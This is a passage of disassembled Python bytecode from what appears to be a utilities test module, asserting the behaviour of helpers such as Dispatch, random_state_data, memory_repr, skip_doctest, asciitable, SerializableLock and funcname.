CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL takes_multiple_arguments LOAD_FAST Singular CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL takes_multiple_arguments LOAD_FAST Multi CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST <code object f at 0x7f8aac3da6f0, file "f.py", line 140> LOAD_CONST 'test_takes_multiple_arguments.<locals>.f' MAKE_FUNCTION STORE_FAST f LOAD_GLOBAL takes_multiple_arguments LOAD_FAST f CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST <code object vararg at 0x7f8aac3da390, file "f.py", line 145> LOAD_CONST 'test_takes_multiple_arguments.<locals>.vararg' MAKE_FUNCTION STORE_FAST vararg LOAD_GLOBAL takes_multiple_arguments LOAD_FAST vararg CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL takes_multiple_arguments LOAD_FAST vararg LOAD_CONST False LOAD_CONST ('varargs',) CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b LOAD_FAST c BUILD_TUPLE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_takes_multiple_arguments.<locals>.Singular' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7f8aac3da270, file "f.py", line 129> LOAD_CONST 'test_takes_multiple_arguments.<locals>.Singular.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_takes_multiple_arguments.<locals>.Multi' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7f8aac3dadb0, file "f.py", line 133> LOAD_CONST 'test_takes_multiple_arguments.<locals>.Multi.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Dispatch CALL_FUNCTION STORE_DEREF foo LOAD_DEREF foo LOAD_METHOD register LOAD_GLOBAL int LOAD_CONST <code object <lambda> at 0x7f8aac3dae40, file "f.py", line 154> LOAD_CONST 'test_dispatch.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_DEREF foo LOAD_METHOD register LOAD_GLOBAL float LOAD_CONST <code object <lambda> at 0x7f8aac3da5d0, file "f.py", line 155> LOAD_CONST 'test_dispatch.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_DEREF foo LOAD_METHOD register LOAD_GLOBAL tuple LOAD_CLOSURE foo BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7f8aac3da150, file "f.py", line 156> LOAD_CONST 'test_dispatch.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_CONST <code object f at 0x7f8aac3da780, file "f.py", line 158> LOAD_CONST 'test_dispatch.<locals>.f' MAKE_FUNCTION STORE_FAST f LOAD_DEREF foo LOAD_METHOD register LOAD_GLOBAL object LOAD_FAST f CALL_METHOD POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object Bar at 0x7f8aac3dab70, file "f.py", line 164> LOAD_CONST 'Bar' MAKE_FUNCTION LOAD_CONST 'Bar' CALL_FUNCTION STORE_FAST Bar LOAD_FAST Bar CALL_FUNCTION STORE_FAST b LOAD_DEREF foo LOAD_CONST 1 CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_METHOD dispatch LOAD_GLOBAL int CALL_METHOD LOAD_CONST 1 CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_CONST 1.0 CALL_FUNCTION LOAD_CONST 0.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_FAST b CALL_FUNCTION LOAD_FAST b COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_CONST 1 LOAD_CONST 2.0 LOAD_FAST b BUILD_TUPLE CALL_FUNCTION LOAD_CONST 2 LOAD_CONST 1.0 LOAD_FAST b BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_ATTR __doc__ LOAD_FAST f LOAD_ATTR __doc__ COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_CONST 1 BINARY_ADD RETURN_VALUE LOAD_FAST a LOAD_CONST 1 BINARY_SUBTRACT RETURN_VALUE LOAD_GLOBAL tuple LOAD_CLOSURE foo BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8aac3dac90, file "f.py", line 156> LOAD_CONST 'test_dispatch.<locals>.<lambda>.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST a GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST i LOAD_DEREF foo LOAD_FAST i CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST a RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_dispatch.<locals>.Bar' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Dispatch CALL_FUNCTION STORE_FAST foo LOAD_FAST foo LOAD_METHOD register LOAD_GLOBAL int LOAD_CONST (10,) LOAD_CONST <code object <lambda> at 0x7f8aac3dac00, file "f.py", line 179> LOAD_CONST 'test_dispatch_kwargs.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_FAST foo LOAD_CONST 1 LOAD_CONST 20 LOAD_CONST ('b',) CALL_FUNCTION LOAD_CONST 21 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_ADD RETURN_VALUE LOAD_GLOBAL Dispatch CALL_FUNCTION STORE_FAST foo LOAD_FAST foo LOAD_METHOD register LOAD_GLOBAL int LOAD_CONST <code object <lambda> at 0x7f8aac3da930, file "f.py", line 186> LOAD_CONST 'test_dispatch_variadic_on_first_argument.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_FAST foo LOAD_METHOD register LOAD_GLOBAL float LOAD_CONST <code object <lambda> at 0x7f8aac3daae0, file "f.py", line 187> LOAD_CONST 'test_dispatch_variadic_on_first_argument.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_FAST foo LOAD_CONST 1 LOAD_CONST 2 CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST foo LOAD_CONST 1.0 LOAD_CONST 2.0 CALL_FUNCTION LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_ADD RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_SUBTRACT RETURN_VALUE LOAD_GLOBAL Dispatch CALL_FUNCTION STORE_DEREF foo LOAD_DEREF foo LOAD_METHOD register LOAD_GLOBAL int LOAD_CONST <code object <lambda> at 0x7f8aac3da8a0, file "f.py", line 195> LOAD_CONST 'test_dispatch_lazy.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME decimal STORE_FAST decimal LOAD_CONST <code object foo_dec at 0x7f8aac3daf60, file "f.py", line 199> LOAD_CONST 'test_dispatch_lazy.<locals>.foo_dec' MAKE_FUNCTION STORE_DEREF foo_dec LOAD_DEREF foo LOAD_METHOD register_lazy LOAD_CONST 'decimal' CALL_METHOD LOAD_CLOSURE foo LOAD_CLOSURE foo_dec BUILD_TUPLE LOAD_CONST <code object register_decimal at 0x7f8aac3da4b0, file "f.py", line 202> LOAD_CONST 'test_dispatch_lazy.<locals>.register_decimal' MAKE_FUNCTION CALL_FUNCTION STORE_FAST register_decimal LOAD_DEREF foo LOAD_METHOD dispatch LOAD_FAST decimal LOAD_ATTR Decimal CALL_METHOD LOAD_DEREF foo_dec COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_FAST decimal LOAD_METHOD Decimal LOAD_CONST 1 CALL_METHOD CALL_FUNCTION LOAD_FAST decimal LOAD_METHOD Decimal LOAD_CONST 2 CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_CONST 1 CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a RETURN_VALUE LOAD_FAST a LOAD_CONST 1 BINARY_ADD RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME decimal STORE_FAST decimal LOAD_DEREF foo LOAD_METHOD register LOAD_FAST decimal LOAD_ATTR Decimal LOAD_DEREF foo_dec CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME decimal STORE_DEREF decimal LOAD_BUILD_CLASS LOAD_CONST <code object Lazy at 0x7f8aac3da660, file "f.py", line 218> LOAD_CONST 'Lazy' MAKE_FUNCTION LOAD_CONST 'Lazy' LOAD_DEREF decimal LOAD_ATTR Decimal CALL_FUNCTION STORE_FAST Lazy LOAD_BUILD_CLASS LOAD_CONST <code object Eager at 0x7f8ab76176f0, file "f.py", line 221> LOAD_CONST 'Eager' MAKE_FUNCTION LOAD_CONST 'Eager' LOAD_FAST Lazy CALL_FUNCTION STORE_FAST Eager LOAD_GLOBAL Dispatch CALL_FUNCTION STORE_DEREF foo LOAD_DEREF foo LOAD_METHOD register LOAD_FAST Eager CALL_METHOD LOAD_CONST <code object eager_handler at 0x7f8ab7617780, file "f.py", line 226> LOAD_CONST 'test_dispatch_lazy_walks_mro.<locals>.eager_handler' MAKE_FUNCTION CALL_FUNCTION STORE_FAST eager_handler LOAD_CONST <code object lazy_handler at 0x7f8ab7617300, file "f.py", line 230> LOAD_CONST 'test_dispatch_lazy_walks_mro.<locals>.lazy_handler' MAKE_FUNCTION STORE_DEREF lazy_handler LOAD_DEREF foo LOAD_METHOD register_lazy LOAD_CONST 'decimal' CALL_METHOD LOAD_CLOSURE decimal LOAD_CLOSURE foo LOAD_CLOSURE lazy_handler BUILD_TUPLE LOAD_CONST <code object register_decimal at 0x7f8ab7617f60, file "f.py", line 233> LOAD_CONST 'test_dispatch_lazy_walks_mro.<locals>.register_decimal' MAKE_FUNCTION CALL_FUNCTION STORE_FAST register_decimal LOAD_DEREF foo LOAD_METHOD dispatch LOAD_FAST Lazy CALL_METHOD LOAD_DEREF lazy_handler COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_FAST Lazy LOAD_CONST 1 CALL_FUNCTION CALL_FUNCTION LOAD_CONST 'lazy' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_METHOD dispatch LOAD_DEREF decimal LOAD_ATTR Decimal CALL_METHOD LOAD_DEREF lazy_handler COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_DEREF decimal LOAD_METHOD Decimal LOAD_CONST 1 CALL_METHOD CALL_FUNCTION LOAD_CONST 'lazy' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_METHOD dispatch LOAD_FAST Eager CALL_METHOD LOAD_FAST eager_handler COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF foo LOAD_FAST Eager LOAD_CONST 1 CALL_FUNCTION CALL_FUNCTION LOAD_CONST 'eager' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_dispatch_lazy_walks_mro.<locals>.Lazy' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_dispatch_lazy_walks_mro.<locals>.Eager' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_CONST 'eager' RETURN_VALUE LOAD_CONST 'lazy' RETURN_VALUE LOAD_DEREF foo LOAD_METHOD register LOAD_DEREF decimal LOAD_ATTR Decimal LOAD_DEREF lazy_handler CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'numpy' CALL_METHOD STORE_FAST np LOAD_CONST 37 STORE_FAST seed LOAD_FAST np LOAD_ATTR random LOAD_METHOD RandomState LOAD_FAST seed CALL_METHOD STORE_FAST state LOAD_CONST 10000 STORE_FAST n LOAD_GLOBAL random_state_data LOAD_FAST n LOAD_FAST seed CALL_FUNCTION STORE_FAST states LOAD_GLOBAL len LOAD_FAST states CALL_FUNCTION LOAD_FAST n COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL random_state_data LOAD_FAST n LOAD_FAST state CALL_FUNCTION STORE_FAST states2 SETUP_LOOP to 120 LOAD_GLOBAL zip LOAD_FAST states LOAD_FAST states2 CALL_FUNCTION GET_ITER FOR_ITER to 118 UNPACK_SEQUENCE STORE_FAST s1 STORE_FAST s2 LOAD_FAST s1 LOAD_ATTR shape LOAD_CONST (624,) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s1 LOAD_FAST s2 COMPARE_OP == LOAD_METHOD all CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL random_state_data LOAD_CONST 10 LOAD_CONST 1234 CALL_FUNCTION STORE_FAST states LOAD_GLOBAL random_state_data LOAD_CONST 20 LOAD_CONST 1234 CALL_FUNCTION LOAD_CONST None LOAD_CONST 10 BUILD_SLICE BINARY_SUBSCR STORE_FAST states2 SETUP_LOOP to 188 LOAD_GLOBAL zip LOAD_FAST states LOAD_FAST states2 CALL_FUNCTION GET_ITER FOR_ITER to 186 UNPACK_SEQUENCE STORE_FAST s1 STORE_FAST s2 LOAD_FAST s1 LOAD_FAST s2 COMPARE_OP == LOAD_METHOD all CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE SETUP_LOOP to 50 LOAD_GLOBAL enumerate LOAD_CONST '1.0 bytes' LOAD_CONST '1.0 KB' LOAD_CONST '1.0 MB' LOAD_CONST '1.0 GB' BUILD_LIST CALL_FUNCTION GET_ITER FOR_ITER to 48 UNPACK_SEQUENCE STORE_FAST power STORE_FAST mem_repr LOAD_GLOBAL memory_repr LOAD_CONST 1024 LOAD_FAST power BINARY_POWER CALL_FUNCTION LOAD_FAST mem_repr COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST STORE_FAST a LOAD_GLOBAL methodcaller LOAD_CONST 'count' CALL_FUNCTION STORE_FAST f LOAD_FAST f LOAD_FAST a LOAD_CONST 3 CALL_FUNCTION LOAD_FAST a LOAD_METHOD count LOAD_CONST 3 CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL methodcaller LOAD_CONST 'count' CALL_FUNCTION LOAD_FAST f COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL M LOAD_ATTR count LOAD_FAST f COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST f CALL_METHOD CALL_METHOD LOAD_FAST f COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'count' LOAD_GLOBAL dir LOAD_GLOBAL M CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'count' LOAD_GLOBAL str LOAD_GLOBAL methodcaller LOAD_CONST 'count' CALL_FUNCTION CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'count' LOAD_GLOBAL repr LOAD_GLOBAL methodcaller LOAD_CONST 'count' CALL_FUNCTION CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '>>> xxx\n>>>\n>>> # comment\n>>> xxx' STORE_FAST example LOAD_GLOBAL skip_doctest LOAD_FAST example CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST '>>> xxx # doctest: +SKIP\n>>>\n>>> # comment\n>>> xxx # doctest: +SKIP' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL skip_doctest LOAD_CONST None CALL_FUNCTION LOAD_CONST '' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST '\n>>> 1 + 2 # doctest: +ELLIPSES\n3' STORE_FAST example LOAD_CONST '\n>>> 1 + 2 # doctest: +ELLIPSES, +SKIP\n3' STORE_FAST expected LOAD_GLOBAL skip_doctest LOAD_FAST example CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '\n\n Notes\n -----\n hello\n\n Foo\n ---\n\n Notes\n -----\n bar\n ' STORE_FAST example LOAD_CONST '\n\n Notes\n -----\n hello\n\n Foo\n ---\n\n Extra Notes\n -----------\n bar\n ' STORE_FAST expected LOAD_GLOBAL extra_titles LOAD_FAST example CALL_FUNCTION LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL asciitable LOAD_CONST 'fruit' LOAD_CONST 'color' BUILD_LIST LOAD_CONST ('apple', 'red') LOAD_CONST ('banana', 'yellow') LOAD_CONST ('tomato', 'red') LOAD_CONST ('pear', 'green') BUILD_LIST CALL_FUNCTION STORE_FAST res LOAD_FAST res LOAD_CONST '+--------+--------+\n| fruit | color |\n+--------+--------+\n| apple | red |\n| banana | yellow |\n| tomato | red |\n| pear | green |\n+--------+--------+' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL SerializableLock CALL_FUNCTION STORE_FAST a LOAD_GLOBAL SerializableLock CALL_FUNCTION STORE_FAST b LOAD_FAST a SETUP_WITH to 22 POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST a SETUP_WITH to 54 POP_TOP LOAD_FAST b SETUP_WITH to 44 POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST a SETUP_WITH to 84 POP_TOP LOAD_FAST a LOAD_METHOD acquire LOAD_CONST False CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST a CALL_METHOD CALL_METHOD STORE_FAST a2 LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST a CALL_METHOD CALL_METHOD STORE_FAST a3 LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST a2 CALL_METHOD CALL_METHOD STORE_FAST a4 SETUP_LOOP to 212 LOAD_FAST a LOAD_FAST a2 LOAD_FAST a3 LOAD_FAST a4 BUILD_LIST GET_ITER FOR_ITER to 210 STORE_FAST x SETUP_LOOP to 208 LOAD_FAST a LOAD_FAST a2 LOAD_FAST a3 LOAD_FAST a4 BUILD_LIST GET_ITER FOR_ITER to 206 STORE_FAST y LOAD_FAST x SETUP_WITH to 198 POP_TOP LOAD_FAST y LOAD_METHOD acquire LOAD_CONST False CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST b CALL_METHOD CALL_METHOD STORE_FAST b2 LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST b2 CALL_METHOD CALL_METHOD STORE_FAST b3 SETUP_LOOP to 354 LOAD_FAST a LOAD_FAST a2 LOAD_FAST a3 LOAD_FAST a4 BUILD_LIST GET_ITER FOR_ITER to 352 STORE_FAST x SETUP_LOOP to 348 LOAD_FAST b LOAD_FAST b2 LOAD_FAST b3 BUILD_LIST GET_ITER FOR_ITER to 346 STORE_FAST y LOAD_FAST x SETUP_WITH to 304 POP_TOP LOAD_FAST y SETUP_WITH to 294 POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST y SETUP_WITH to 336 POP_TOP LOAD_FAST x SETUP_WITH to 326 POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL SerializableLock LOAD_CONST 'a' CALL_FUNCTION STORE_FAST a LOAD_GLOBAL SerializableLock LOAD_CONST 'b' CALL_FUNCTION STORE_FAST b LOAD_GLOBAL SerializableLock LOAD_CONST 'a' CALL_FUNCTION STORE_FAST c LOAD_GLOBAL SerializableLock CALL_FUNCTION STORE_FAST d LOAD_FAST a LOAD_ATTR lock LOAD_FAST b LOAD_ATTR lock COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a LOAD_ATTR lock LOAD_FAST c LOAD_ATTR lock COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_ATTR lock LOAD_FAST a LOAD_ATTR lock LOAD_FAST b LOAD_ATTR lock LOAD_FAST c LOAD_ATTR lock BUILD_TUPLE COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL SerializableLock LOAD_CONST 'a' CALL_FUNCTION STORE_FAST a LOAD_FAST a LOAD_METHOD locked CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a SETUP_WITH to 42 POP_TOP LOAD_FAST a LOAD_METHOD locked CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST a LOAD_METHOD locked CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL SerializableLock LOAD_CONST 'a' CALL_FUNCTION STORE_FAST a LOAD_FAST a LOAD_ATTR acquire LOAD_CONST True LOAD_CONST ('blocking',) CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a LOAD_ATTR acquire LOAD_CONST False LOAD_CONST ('blocking',) CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a LOAD_METHOD release CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST <code object foo at 0x7f8ab6bd51e0, file "f.py", line 423> LOAD_CONST 'test_funcname.<locals>.foo' MAKE_FUNCTION STORE_FAST foo LOAD_GLOBAL funcname LOAD_FAST foo CALL_FUNCTION LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL funcname LOAD_GLOBAL functools LOAD_ATTR partial LOAD_FAST foo LOAD_CONST 1 LOAD_CONST ('a',) CALL_FUNCTION CALL_FUNCTION LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL funcname LOAD_GLOBAL M LOAD_ATTR sum CALL_FUNCTION LOAD_CONST 'sum' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL funcname LOAD_CONST <code object <lambda> at 0x7f8ab6bd5420, file "f.py", line 429> LOAD_CONST 'test_funcname.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION LOAD_CONST 'lambda' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_BUILD_CLASS LOAD_CONST <code object Foo at 0x7f8ab6bd54b0, file "f.py", line 431> LOAD_CONST 'Foo' MAKE_FUNCTION LOAD_CONST 'Foo' CALL_FUNCTION STORE_FAST Foo LOAD_GLOBAL funcname LOAD_FAST Foo CALL_FUNCTION LOAD_CONST 'Foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'Foo' LOAD_GLOBAL funcname LOAD_FAST Foo CALL_FUNCTION CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 1 RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_funcname.<locals>.Foo' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_CONST <code object a_long_function_name_11111111111111111111111111111111111111111111111 at 0x7f8ab6bd5150, file "f.py", line 439> LOAD_CONST 'test_funcname_long.<locals>.a_long_function_name_11111111111111111111111111111111111111111111111' MAKE_FUNCTION STORE_FAST a_long_function_name_11111111111111111111111111111111111111111111111 LOAD_GLOBAL funcname LOAD_FAST a_long_function_name_11111111111111111111111111111111111111111111111 CALL_FUNCTION STORE_FAST result LOAD_CONST 'a_long_function_name' LOAD_FAST result COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST result CALL_FUNCTION LOAD_CONST 60 COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL curry LOAD_CONST <code object foo at 0x7f8ab6bd5810, file "f.py", line 450> LOAD_CONST 'test_funcname_toolz.<locals>.foo' MAKE_FUNCTION CALL_FUNCTION STORE_FAST foo LOAD_GLOBAL funcname LOAD_FAST foo CALL_FUNCTION LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL funcname LOAD_FAST foo LOAD_CONST 1 CALL_FUNCTION CALL_FUNCTION LOAD_CONST 'foo' COMPARE_OP == 